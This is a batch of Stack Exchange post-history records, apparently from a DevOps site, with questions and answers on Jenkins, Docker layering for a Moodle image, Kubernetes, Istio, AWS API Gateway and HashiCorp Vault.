  <row Id="33450" PostHistoryTypeId="5" PostId="10906" RevisionGUID="87f50fc1-f8db-4e9e-bc79-2362536b0f53" CreationDate="2020-02-25T20:39:15.597" UserId="18060" Comment="added 270 characters in body" Text="Simply delete the Jenkinsfile on the branch(es) you don't want to have corresponding branch jobs for. This will delete the branch job (of course, iff you have set your &quot;Orphaned Item Strategy&quot; appropriately). &#xD;&#xA;&#xD;&#xA;From the perspective of a Jenkins Multibranch Pipeline Project, this has the same effect as deleting the branch. This is because it is simply scanning for branches that contain Jenkinsfiles as its criterion for when to create (or delete) a corresponding branch job.&#xD;&#xA;&#xD;&#xA;Revert the commit to restore the Jenkinsfile if/when you need the branch job again.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33451" PostHistoryTypeId="50" PostId="9034" RevisionGUID="e9b78a80-25ad-46ad-a719-ed3545e2c6f0" CreationDate="2020-02-25T21:02:15.267" UserId="-1" />
  <row Id="33452" PostHistoryTypeId="50" PostId="6022" RevisionGUID="e50f747e-6e43-4ee2-bd19-24c6cff8358c" CreationDate="2020-02-26T00:03:25.500" UserId="-1" />
  <row Id="33453" PostHistoryTypeId="50" PostId="10603" RevisionGUID="7d2f2d10-0b71-4b0d-9b06-3152c3e0c873" CreationDate="2020-02-26T01:03:10.483" UserId="-1" />
  <row Id="33454" PostHistoryTypeId="2" PostId="10907" RevisionGUID="90fc027d-c448-441b-82cc-cc58da0453ae" CreationDate="2020-02-26T03:01:53.123" UserId="15792" Text="While both Docker and jails have some similar functionality, they are built for different purposes.&#xD;&#xA;&#xD;&#xA;The term &quot;jail&quot; comes from the [FreeBSD][1] distro.  A lot of people will also refer to a [chroot][2] as a jail.  At its core these jails virtually change the root directory for a process and its children.  This means that these processes are contained (jailed) within this new directory and should not have access to folder outside of it.  Jails are a great way to run a process that you want isolated from the rest of the system.&#xD;&#xA;&#xD;&#xA;Docker Linux is an entire platform for running [containers][3].  At its core it does this by using Linux namespaces and Linux Control Groups ([source][4]).  Docker is built around packaging these containers and allowing them to easily be shared with other systems.&#xD;&#xA;&#xD;&#xA;Ultimately, both technologies are isolating processes.  However, Docker does this with the intent of making the isolated processes portable and repeatable.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.freebsd.org/doc/handbook/jails.html&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Chroot&#xD;&#xA;  [3]: https://www.docker.com/resources/what-container&#xD;&#xA;  [4]: https://livebook.manning.com/book/kubernetes-in-action/chapter-1/68" ContentLicense="CC BY-SA 4.0" />
  <row Id="33461" PostHistoryTypeId="2" PostId="10910" RevisionGUID="fecf4123-b92f-4fb2-a96b-8a02b7bd38fc" CreationDate="2020-02-26T04:48:38.903" UserId="16819" Text="Two different things might happen:&#xD;&#xA;&#xD;&#xA;1 - On the output, get the following messages&#xD;&#xA;&#xD;&#xA;    ERRO unknown error occurred&#xD;&#xA;    ERRO unknown error occurred&#xD;&#xA;    ERRO unknown error occurred&#xD;&#xA;    ERRO unknown error occurred&#xD;&#xA;&#xD;&#xA;2 - On `~.crc/crc.log`, see the following errors:&#xD;&#xA;&#xD;&#xA;    Error dialing TCP: dial tcp [removed]:22: connectex: A connection attempt failed because the connected party did not properly respond after a period of time, or es&#xD;&#xA;    tablished connection failed because connected host has failed to respond." ContentLicense="CC BY-SA 4.0" />
  <row Id="33462" PostHistoryTypeId="1" PostId="10910" RevisionGUID="fecf4123-b92f-4fb2-a96b-8a02b7bd38fc" CreationDate="2020-02-26T04:48:38.903" UserId="16819" Text="CodeReady Container for OpenShift won't start" ContentLicense="CC BY-SA 4.0" />
  <row Id="33463" PostHistoryTypeId="3" PostId="10910" RevisionGUID="fecf4123-b92f-4fb2-a96b-8a02b7bd38fc" CreationDate="2020-02-26T04:48:38.903" UserId="16819" Text="&lt;openshift&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33464" PostHistoryTypeId="2" PostId="10911" RevisionGUID="16e3d5e2-d12d-42c4-a6d0-3393a1f8d4b2" CreationDate="2020-02-26T04:50:39.103" UserId="16819" Text="  - [Disable any VPNs on the computer](https://github.com/code-ready/crc/issues/908#issuecomment-571110088)&#xD;&#xA;  - [Create a virtual switch](https://docs.microsoft.com/en-us/windows-server/virtualization/hyper-v/get-started/create-a-virtual-switch-for-hyper-v-virtual-machines) [named crc](https://github.com/code-ready/crc/issues/953#issuecomment-578815768)&#xD;&#xA;&#xD;&#xA;It took me some time to figure these out, so sharing" ContentLicense="CC BY-SA 4.0" />
  <row Id="33465" PostHistoryTypeId="4" PostId="10910" RevisionGUID="bc9fdb31-75e2-4838-96e9-b021c4213be1" CreationDate="2020-02-26T04:50:53.517" UserId="16819" Comment="edited title" Text="CodeReady Container for OpenShift won't start on Windows 10" ContentLicense="CC BY-SA 4.0" />
  <row Id="33467" PostHistoryTypeId="2" PostId="10912" RevisionGUID="e8e42653-6145-4086-826e-859ec7291e75" CreationDate="2020-02-26T09:27:17.590" UserId="19898" Text="I am deploying a virtual service and gateway but when I run it on browser get the below error: &#xD;&#xA;&#xD;&#xA;**upstream connect error or disconnect/reset before headers. reset reason: connection failure**&#xD;&#xA;&#xD;&#xA;I deployed with helm chart and the result of dry run is below for virtual service and gateway:&#xD;&#xA;```&#xD;&#xA;# Source: beta-optimus/templates/gateway.yaml&#xD;&#xA;apiVersion: networking.istio.io/v1alpha3&#xD;&#xA;kind: Gateway&#xD;&#xA;metadata:&#xD;&#xA;  name: beta-api-dev-gateway&#xD;&#xA;spec:&#xD;&#xA;  selector: &#xD;&#xA;      istio: ingressgateway&#xD;&#xA;  servers: &#xD;&#xA;    - port:&#xD;&#xA;         number: 443&#xD;&#xA;         name: https&#xD;&#xA;         protocol: HTTP&#xD;&#xA;      hosts: &#xD;&#xA;         - &quot;*.myapp.xyz&quot;&#xD;&#xA;---&#xD;&#xA;# Source: beta-optimus/templates/virtualService.yaml&#xD;&#xA;apiVersion: networking.istio.io/v1alpha3&#xD;&#xA;kind: VirtualService&#xD;&#xA;metadata:&#xD;&#xA;  name: beta-api-dev&#xD;&#xA;spec:&#xD;&#xA;  hosts:&#xD;&#xA;    - &quot;beta-api-dev.myapp.xyz&quot;&#xD;&#xA;  gateways: &#xD;&#xA;    - beta-api-dev-gateway&#xD;&#xA;  http:&#xD;&#xA;    - route:&#xD;&#xA;         - destination: &#xD;&#xA;               host: beta-optimus&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;the beta-optimus is running on 2 pods fine.&#xD;&#xA;I am using AWS so made entry into Route53 for he proposed url with istio. My other deployments work fine, but getting error only in this one." ContentLicense="CC BY-SA 4.0" />
  <row Id="33468" PostHistoryTypeId="1" PostId="10912" RevisionGUID="e8e42653-6145-4086-826e-859ec7291e75" CreationDate="2020-02-26T09:27:17.590" UserId="19898" Text="upstream connect error or disconnect/reset before headers. reset reason: connection failure" ContentLicense="CC BY-SA 4.0" />
  <row Id="33469" PostHistoryTypeId="3" PostId="10912" RevisionGUID="e8e42653-6145-4086-826e-859ec7291e75" CreationDate="2020-02-26T09:27:17.590" UserId="19898" Text="&lt;kubernetes&gt;&lt;istio&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33470" PostHistoryTypeId="2" PostId="10913" RevisionGUID="8bf98699-ce9a-4019-9543-47ae10c99298" CreationDate="2020-02-26T12:39:23.067" UserId="19900" Text="Say I have 2 nodes for a kubernetes cluster. Both has&#xD;&#xA;&#xD;&#xA;    2 CPU → 4 Total&#xD;&#xA;    2G RAM → 4 Total&#xD;&#xA;&#xD;&#xA;I have 4 pods to shcedule-- no replicas yet, 1 major pod that'll use 80% of resources, other use 5% each.&#xD;&#xA;What resource limits should I specify for these pods?&#xD;&#xA;&#xD;&#xA;**CURENT USAGE STATS**&#xD;&#xA;&#xD;&#xA;    # kubectl top pod --all-namespaces&#xD;&#xA;    NAMESPACE		NAME						CPU(cores)   MEMORY(bytes)&#xD;&#xA;    default			pod1-64c455bcf8-mzxqc			1m			122Mi           &#xD;&#xA;    default			pod2-6f7b44478b-pn4tt			1m			33Mi            &#xD;&#xA;    default			pod3-867c956697-mf6zw			0m			48Mi            &#xD;&#xA;    default			pod4-844bd559dd-z96fh			0m			35Mi" ContentLicense="CC BY-SA 4.0" />
  <row Id="33471" PostHistoryTypeId="1" PostId="10913" RevisionGUID="8bf98699-ce9a-4019-9543-47ae10c99298" CreationDate="2020-02-26T12:39:23.067" UserId="19900" Text="How To Determine Min/Max Resources For Kubernetes Pods?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33472" PostHistoryTypeId="3" PostId="10913" RevisionGUID="8bf98699-ce9a-4019-9543-47ae10c99298" CreationDate="2020-02-26T12:39:23.067" UserId="19900" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33474" PostHistoryTypeId="2" PostId="10914" RevisionGUID="dfdd340e-14ef-4f42-81a9-8f2ba9e8f053" CreationDate="2020-02-26T15:31:55.497" UserId="12267" Text="we are on kubernetes 1.15.* and our yaml files are incompatible with the latest 1.17 installation. &#xD;&#xA;&#xD;&#xA;Is there an easy way of converting our yaml files with a tool?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33475" PostHistoryTypeId="1" PostId="10914" RevisionGUID="dfdd340e-14ef-4f42-81a9-8f2ba9e8f053" CreationDate="2020-02-26T15:31:55.497" UserId="12267" Text="Conversion tool for converting kubernetes yaml files from 1.15 to 1.17?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33476" PostHistoryTypeId="3" PostId="10914" RevisionGUID="dfdd340e-14ef-4f42-81a9-8f2ba9e8f053" CreationDate="2020-02-26T15:31:55.497" UserId="12267" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33477" PostHistoryTypeId="2" PostId="10915" RevisionGUID="429643fe-9420-44d3-b7c7-2a459984fc19" CreationDate="2020-02-26T16:53:31.087" UserId="19083" Text="I have a setup of API Gateway proxying all the requests to my EC2 instances behind load balancer (ALB). But I want api endpoint to have a nice domain `my-api.mydomain.com`. I'm trying to accomplish that via [custom domains](https://docs.aws.amazon.com/apigateway/latest/developerguide/how-to-custom-domains.html). &#xD;&#xA;&#xD;&#xA;[![first step][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Then I register `Target Domain Name` generated in Route53 like this&#xD;&#xA;&#xD;&#xA;[![second step][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;and my http proxy setup is just a passthrough to the ALB which manages requests to underlying EC2 instances providing business logic.&#xD;&#xA;&#xD;&#xA;[![third step][3]][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This setup doesn't work, so I'm wondering what's wrong with this configuration and what critical conceptual thing I have missed. Doing `curl -SL https://my-api.mydomain.com/v1/records/` (or any api endpoint) throws `{&quot;message&quot;: &quot;Internal server error&quot;}`. CloudWatch logs shows &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; Execution failed due to configuration error: Host name&#xD;&#xA;&gt; 'my-api-lb-111222333.us-east-1.elb.amazonaws.com' does not match the&#xD;&#xA;&gt; certificate subject provided by the peer (CN=*.mydomain.com)&#xD;&#xA;&#xD;&#xA;I'd be grateful for any suggestions.&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/WloFq.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/KM8Bt.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/34Z1M.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="33478" PostHistoryTypeId="1" PostId="10915" RevisionGUID="429643fe-9420-44d3-b7c7-2a459984fc19" CreationDate="2020-02-26T16:53:31.087" UserId="19083" Text="AWS API Gateway as an http proxy to ALB" ContentLicense="CC BY-SA 4.0" />
  <row Id="33479" PostHistoryTypeId="3" PostId="10915" RevisionGUID="429643fe-9420-44d3-b7c7-2a459984fc19" CreationDate="2020-02-26T16:53:31.087" UserId="19083" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;load-balance&gt;&lt;api&gt;&lt;aws-elb&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33480" PostHistoryTypeId="2" PostId="10916" RevisionGUID="e7a3d278-285a-4a64-95a7-6b95c2c3edae" CreationDate="2020-02-26T20:12:28.000" UserId="19910" Text="I'm contemplating whether to provision Hashicorp Vault from code, from scratch, and seed it with keys to be shared between a few, predefined consumers (some humans, some services). The provisioning step has secure access to keys already and can use them to initialize Vault. My reasoning is that this would make it operationally simpler to run -- no backups or risk of configuration drift -- and can act as an on-ramp to using Vault in more places.&#xD;&#xA;&#xD;&#xA;Is this feasible? In Hashicorp's documentation for Vault, [the in-memory storage option][1] is not recommended for production use because the data will be lost on shutdown. Is there data that is lost that can't be re-provisioned every time?&#xD;&#xA;&#xD;&#xA;  [1]: https://www.vaultproject.io/docs/configuration/storage/in-memory/" ContentLicense="CC BY-SA 4.0" />
  <row Id="33481" PostHistoryTypeId="1" PostId="10916" RevisionGUID="e7a3d278-285a-4a64-95a7-6b95c2c3edae" CreationDate="2020-02-26T20:12:28.000" UserId="19910" Text="Why not run a stateless Hashicorp Vault in production?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33482" PostHistoryTypeId="3" PostId="10916" RevisionGUID="e7a3d278-285a-4a64-95a7-6b95c2c3edae" CreationDate="2020-02-26T20:12:28.000" UserId="19910" Text="&lt;hashicorp-vault&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33483" PostHistoryTypeId="2" PostId="10917" RevisionGUID="0f51c893-f01a-4ac5-bb8e-b3713a0ba3a0" CreationDate="2020-02-26T21:17:58.557" UserId="405" Text="Try directly accessing `https://my-api-lb-111222333.us-east-1.elb.amazonaws.com` from your web browser and you'll get a similar error.  The SSL certificate is not just used for encryption -- it also verifies that the host is not an impostor, by being consulted in a check of whether the hostname used to access the target matches the hostname of the certificate that's offered by the target&#xD;&#xA;&#xD;&#xA;Because amazonaws.com is not your domain, you can't get a certificate for that.&#xD;&#xA;&#xD;&#xA;You need to assign a domain name from your domain to the ALB in DNS, e.g. `origin.example.com`, and point API Gateway to that name, not to the system-assigned hostname of the ALB. " ContentLicense="CC BY-SA 4.0" />
  <row Id="33484" PostHistoryTypeId="2" PostId="10918" RevisionGUID="0b0ede9b-ef3b-4b4d-9a66-2de643da45ea" CreationDate="2020-02-27T10:08:31.840" UserId="17329" Text="I am using all kind of parameters like &quot;Active Choice Parameter&quot;, &quot;Active Choice Reactive Parameter&quot;, &quot;Active Choice Reactive Reference Parameter&quot; that have a lot of Groovy code within them. My problem is that now I need to audit changes so I can link regression to code commits. I don't see an option to load the code from a SCM, how do I version this?   " ContentLicense="CC BY-SA 4.0" />
  <row Id="33485" PostHistoryTypeId="1" PostId="10918" RevisionGUID="0b0ede9b-ef3b-4b4d-9a66-2de643da45ea" CreationDate="2020-02-27T10:08:31.840" UserId="17329" Text="Jenkins - load scripted parameters from a SCM repo" ContentLicense="CC BY-SA 4.0" />
  <row Id="33486" PostHistoryTypeId="3" PostId="10918" RevisionGUID="0b0ede9b-ef3b-4b4d-9a66-2de643da45ea" CreationDate="2020-02-27T10:08:31.840" UserId="17329" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkins-plugins&gt;&lt;jenkinsfile&gt;&lt;jenkins2&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33487" PostHistoryTypeId="2" PostId="10919" RevisionGUID="c20d2454-4d2c-4172-b820-f98ad31136d4" CreationDate="2020-02-27T11:31:57.933" UserId="4396" Text="Once I build docker image for existing applications I try to use a single layer as possible and clean up any unwanted files for example building an image for moodle:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;# Dockerfile for moodle instance.&#xD;&#xA;# Forked from Jonathan Hardison's &lt;jmh@jonathanhardison.com&gt; docker version. https://github.com/jmhardison/docker-moodle&#xD;&#xA;#Original Maintainer Jon Auer &lt;jda@coldshore.com&gt;&#xD;&#xA;&#xD;&#xA;FROM  php:7.2-apache&#xD;&#xA;&#xD;&#xA;# Replace for later version&#xD;&#xA;ARG VERSION=37&#xD;&#xA;ARG	DB_TYPE=&quot;all&quot;&#xD;&#xA;&#xD;&#xA;VOLUME [&quot;/var/moodledata&quot;]&#xD;&#xA;EXPOSE 80&#xD;&#xA;&#xD;&#xA;ENV MOODLE_DB_TYPE=&quot;${DB_TYPE}&quot;&#xD;&#xA;# Let the container know that there is no tty&#xD;&#xA;ENV DEBIAN_FRONTEND noninteractive \&#xD;&#xA;	MOODLE_URL http://0.0.0.0 \&#xD;&#xA;    MOODLE_ADMIN admin \&#xD;&#xA;    MOODLE_ADMIN_PASSWORD Admin~1234 \&#xD;&#xA;    MOODLE_ADMIN_EMAIL admin@example.com \&#xD;&#xA;    MOODLE_DB_HOST '' \&#xD;&#xA;    MOODLE_DB_PASSWORD '' \&#xD;&#xA;    MOODLE_DB_USER '' \&#xD;&#xA;    MOODLE_DB_NAME '' \&#xD;&#xA;    MOODLE_DB_PORT '3306'&#xD;&#xA;&#xD;&#xA;COPY ./scripts/entrypoint.sh /usr/local/bin/entrypoint.sh&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;RUN echo &quot;Build moodle version ${VERSION}&quot; &amp;&amp;\&#xD;&#xA;	chmod +x /usr/local/bin/entrypoint.sh &amp;&amp;\&#xD;&#xA;	apt-get update &amp;&amp; \&#xD;&#xA;	if [ $DB_TYPE = 'mysqli' ] || [ $DB_TYPE = 'all' ]; then echo &quot;Setup mysql and mariadb support&quot; &amp;&amp; docker-php-ext-install pdo mysqli pdo_mysql; fi &amp;&amp;\&#xD;&#xA;	if [ $DB_TYPE = 'pgsql' ] || [ $DB_TYPE = 'all' ]; then echo &quot;Setup postgresql support&quot; &amp;&amp;\&#xD;&#xA;		apt-get install -y --no-install-recommends libghc-postgresql-simple-dev &amp;&amp;\&#xD;&#xA;     	docker-php-ext-configure pgsql -with-pgsql=/usr/local/pgsql &amp;&amp;\&#xD;&#xA;        docker-php-ext-install pdo pgsql pdo_pgsql; \ &#xD;&#xA;	fi &amp;&amp;\&#xD;&#xA;	apt-get -f -y install --no-install-recommends rsync unzip netcat libxmlrpc-c++8-dev libxml2-dev libpng-dev libicu-dev libmcrypt-dev libzip-dev &amp;&amp;\&#xD;&#xA; 	docker-php-ext-install xmlrpc &amp;&amp; \&#xD;&#xA;	docker-php-ext-install mbstring &amp;&amp; \&#xD;&#xA;	whereis libzip &amp;&amp;\&#xD;&#xA;	docker-php-ext-configure zip --with-libzip=/usr/lib/x86_64-linux-gnu/libzip.so &amp;&amp;\&#xD;&#xA;	docker-php-ext-install zip &amp;&amp; \&#xD;&#xA;	docker-php-ext-install xml &amp;&amp; \&#xD;&#xA;	docker-php-ext-install intl &amp;&amp; \&#xD;&#xA; 	docker-php-ext-install soap &amp;&amp; \&#xD;&#xA;	docker-php-ext-install gd &amp;&amp; \&#xD;&#xA;	docker-php-ext-install opcache &amp;&amp; \&#xD;&#xA;	echo &quot;Installing moodle&quot; &amp;&amp; \&#xD;&#xA;	curl https://download.moodle.org/download.php/direct/stable${VERSION}/moodle-latest-${VERSION}.zip -o /tmp/moodle-latest.zip  &amp;&amp; \&#xD;&#xA;	rm -rf /var/www/html/index.html &amp;&amp; \&#xD;&#xA;	cd /tmp &amp;&amp;	unzip /tmp/moodle-latest.zip &amp;&amp; cd / \&#xD;&#xA;	mkdir -p /usr/src/moodle &amp;&amp; \&#xD;&#xA;	mv /tmp/moodle /usr/src/ &amp;&amp; \&#xD;&#xA;	chown www-data:www-data -R /usr/src/moodle &amp;&amp; \&#xD;&#xA;	apt-get purge -y unzip &amp;&amp;\&#xD;&#xA;	apt-get autopurge -y &amp;&amp;\&#xD;&#xA;	apt-get autoremove -y &amp;&amp;\&#xD;&#xA;	apt-get autoclean &amp;&amp;\&#xD;&#xA;	rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* cache/* /var/lib/log/*&#xD;&#xA;&#xD;&#xA;COPY ./scripts/moodle-config.php /usr/src/moodle/config.php&#xD;&#xA;COPY ./scripts/detect_mariadb.php /opt/detect_mariadb.php&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;ENTRYPOINT [&quot;/usr/local/bin/entrypoint.sh&quot;]&#xD;&#xA;CMD [&quot;/usr/sbin/apache2ctl&quot;, &quot;-D&quot;, &quot;FOREGROUND&quot;]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;[Source][1]&#xD;&#xA;&#xD;&#xA;But whilst I build images for an another (production project) I noticed that once I pull newer images for exising containers only the changed layers are actually being downloaded. &#xD;&#xA;&#xD;&#xA;So I wondered wouldn't be better to have a layer for each puproce for example a single layer for the php itself and an another layer for the application itself. So as a result during deployment only the changed parts will be downloaded instead of a HUGE single layer.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But as a downside splitting my builds on smaller layers may require to re-download and delete many required packages for building php extentions. Do you think on large applications may be a problem or does it worth to have logner builds for smaller download during deployment or I am talking nonsense?&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/ellakcy/docker-moodle/blob/single_dockerfile/dockerfiles/apache/Dockerfile" ContentLicense="CC BY-SA 4.0" />
  <row Id="33488" PostHistoryTypeId="1" PostId="10919" RevisionGUID="c20d2454-4d2c-4172-b820-f98ad31136d4" CreationDate="2020-02-27T11:31:57.933" UserId="4396" Text="Is good idea to chunk my docker image on small build layer instead of one?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33489" PostHistoryTypeId="3" PostId="10919" RevisionGUID="c20d2454-4d2c-4172-b820-f98ad31136d4" CreationDate="2020-02-27T11:31:57.933" UserId="4396" Text="&lt;docker&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33490" PostHistoryTypeId="5" PostId="10919" RevisionGUID="df8a26bd-4454-4ebe-a1c3-60e1089e3b68" CreationDate="2020-02-27T11:38:48.613" UserId="4396" Comment="added 293 characters in body; edited title" Text="Once I build docker image for existing applications I try to use a single layer as possible and clean up any unwanted files for example building an image for moodle:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;# Dockerfile for moodle instance.&#xD;&#xA;# Forked from Jonathan Hardison's &lt;jmh@jonathanhardison.com&gt; docker version. https://github.com/jmhardison/docker-moodle&#xD;&#xA;#Original Maintainer Jon Auer &lt;jda@coldshore.com&gt;&#xD;&#xA;&#xD;&#xA;FROM  php:7.2-apache&#xD;&#xA;&#xD;&#xA;# Replace for later version&#xD;&#xA;ARG VERSION=37&#xD;&#xA;ARG	DB_TYPE=&quot;all&quot;&#xD;&#xA;&#xD;&#xA;VOLUME [&quot;/var/moodledata&quot;]&#xD;&#xA;EXPOSE 80&#xD;&#xA;&#xD;&#xA;ENV MOODLE_DB_TYPE=&quot;${DB_TYPE}&quot;&#xD;&#xA;# Let the container know that there is no tty&#xD;&#xA;ENV DEBIAN_FRONTEND noninteractive \&#xD;&#xA;	MOODLE_URL http://0.0.0.0 \&#xD;&#xA;    MOODLE_ADMIN admin \&#xD;&#xA;    MOODLE_ADMIN_PASSWORD Admin~1234 \&#xD;&#xA;    MOODLE_ADMIN_EMAIL admin@example.com \&#xD;&#xA;    MOODLE_DB_HOST '' \&#xD;&#xA;    MOODLE_DB_PASSWORD '' \&#xD;&#xA;    MOODLE_DB_USER '' \&#xD;&#xA;    MOODLE_DB_NAME '' \&#xD;&#xA;    MOODLE_DB_PORT '3306'&#xD;&#xA;&#xD;&#xA;COPY ./scripts/entrypoint.sh /usr/local/bin/entrypoint.sh&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;RUN echo &quot;Build moodle version ${VERSION}&quot; &amp;&amp;\&#xD;&#xA;	chmod +x /usr/local/bin/entrypoint.sh &amp;&amp;\&#xD;&#xA;	apt-get update &amp;&amp; \&#xD;&#xA;	if [ $DB_TYPE = 'mysqli' ] || [ $DB_TYPE = 'all' ]; then echo &quot;Setup mysql and mariadb support&quot; &amp;&amp; docker-php-ext-install pdo mysqli pdo_mysql; fi &amp;&amp;\&#xD;&#xA;	if [ $DB_TYPE = 'pgsql' ] || [ $DB_TYPE = 'all' ]; then echo &quot;Setup postgresql support&quot; &amp;&amp;\&#xD;&#xA;		apt-get install -y --no-install-recommends libghc-postgresql-simple-dev &amp;&amp;\&#xD;&#xA;     	docker-php-ext-configure pgsql -with-pgsql=/usr/local/pgsql &amp;&amp;\&#xD;&#xA;        docker-php-ext-install pdo pgsql pdo_pgsql; \ &#xD;&#xA;	fi &amp;&amp;\&#xD;&#xA;	apt-get -f -y install --no-install-recommends rsync unzip netcat libxmlrpc-c++8-dev libxml2-dev libpng-dev libicu-dev libmcrypt-dev libzip-dev &amp;&amp;\&#xD;&#xA; 	docker-php-ext-install xmlrpc &amp;&amp; \&#xD;&#xA;	docker-php-ext-install mbstring &amp;&amp; \&#xD;&#xA;	whereis libzip &amp;&amp;\&#xD;&#xA;	docker-php-ext-configure zip --with-libzip=/usr/lib/x86_64-linux-gnu/libzip.so &amp;&amp;\&#xD;&#xA;	docker-php-ext-install zip &amp;&amp; \&#xD;&#xA;	docker-php-ext-install xml &amp;&amp; \&#xD;&#xA;	docker-php-ext-install intl &amp;&amp; \&#xD;&#xA; 	docker-php-ext-install soap &amp;&amp; \&#xD;&#xA;	docker-php-ext-install gd &amp;&amp; \&#xD;&#xA;	docker-php-ext-install opcache &amp;&amp; \&#xD;&#xA;	echo &quot;Installing moodle&quot; &amp;&amp; \&#xD;&#xA;	curl https://download.moodle.org/download.php/direct/stable${VERSION}/moodle-latest-${VERSION}.zip -o /tmp/moodle-latest.zip  &amp;&amp; \&#xD;&#xA;	rm -rf /var/www/html/index.html &amp;&amp; \&#xD;&#xA;	cd /tmp &amp;&amp;	unzip /tmp/moodle-latest.zip &amp;&amp; cd / \&#xD;&#xA;	mkdir -p /usr/src/moodle &amp;&amp; \&#xD;&#xA;	mv /tmp/moodle /usr/src/ &amp;&amp; \&#xD;&#xA;	chown www-data:www-data -R /usr/src/moodle &amp;&amp; \&#xD;&#xA;	apt-get purge -y unzip &amp;&amp;\&#xD;&#xA;	apt-get autopurge -y &amp;&amp;\&#xD;&#xA;	apt-get autoremove -y &amp;&amp;\&#xD;&#xA;	apt-get autoclean &amp;&amp;\&#xD;&#xA;	rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* cache/* /var/lib/log/*&#xD;&#xA;&#xD;&#xA;COPY ./scripts/moodle-config.php /usr/src/moodle/config.php&#xD;&#xA;COPY ./scripts/detect_mariadb.php /opt/detect_mariadb.php&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;ENTRYPOINT [&quot;/usr/local/bin/entrypoint.sh&quot;]&#xD;&#xA;CMD [&quot;/usr/sbin/apache2ctl&quot;, &quot;-D&quot;, &quot;FOREGROUND&quot;]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;[Source][1]&#xD;&#xA;&#xD;&#xA;But whilst I build images for an another (production project) I noticed that once I pull newer images for exising containers only the changed layers are actually being downloaded. &#xD;&#xA;&#xD;&#xA;So I wondered wouldn't be better to have a layer for each puproce for example a single layer for the php itself and an another layer for the application itself. So as a result during deployment only the changed parts will be downloaded instead of a HUGE single layer.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But as a downside splitting my builds on smaller layers may require to re-download and delete many required packages for building php extentions. Do you think on large applications may be a problem or does it worth to have logner builds for smaller download during deployment or I am talking nonsense?&#xD;&#xA;&#xD;&#xA;On the other hand I understand using a single layer makes the overall image size smaller. But as a result it will need to actually download the whole layer itself. So if my image is 100MB it will need to re-downloadn the whole 100Mb instead of dew killobythes that a changed layer will be.&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/ellakcy/docker-moodle/blob/single_dockerfile/dockerfiles/apache/Dockerfile" ContentLicense="CC BY-SA 4.0" />
  <row Id="33491" PostHistoryTypeId="4" PostId="10919" RevisionGUID="df8a26bd-4454-4ebe-a1c3-60e1089e3b68" CreationDate="2020-02-27T11:38:48.613" UserId="4396" Comment="added 293 characters in body; edited title" Text="Is good idea to chunk my docker images on smaller layers instead of one?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33492" PostHistoryTypeId="2" PostId="10920" RevisionGUID="bfea2a3c-dc88-410b-8928-614d112da48a" CreationDate="2020-02-27T12:06:53.137" UserId="18007" Text="I'm using Jenkins container and facing an issue that each container restart, the RunningJobs getting duplicate:&#xD;&#xA;[![Jenkins][1]][1]&#xD;&#xA;&#xD;&#xA;Any idea what is the root cause and how can I avoid it?&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/DnV0Q.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="33493" PostHistoryTypeId="1" PostId="10920" RevisionGUID="bfea2a3c-dc88-410b-8928-614d112da48a" CreationDate="2020-02-27T12:06:53.137" UserId="18007" Text="Jenkins RunningJobs view is getting duplicate every container restart" ContentLicense="CC BY-SA 4.0" />
  <row Id="33494" PostHistoryTypeId="3" PostId="10920" RevisionGUID="bfea2a3c-dc88-410b-8928-614d112da48a" CreationDate="2020-02-27T12:06:53.137" UserId="18007" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33495" PostHistoryTypeId="4" PostId="10920" RevisionGUID="58c4c0e4-7d78-4b98-a124-0fb4513671e6" CreationDate="2020-02-27T12:32:08.440" UserId="18007" Comment="edited title" Text="Jenkins view is getting duplicate every container restart" ContentLicense="CC BY-SA 4.0" />
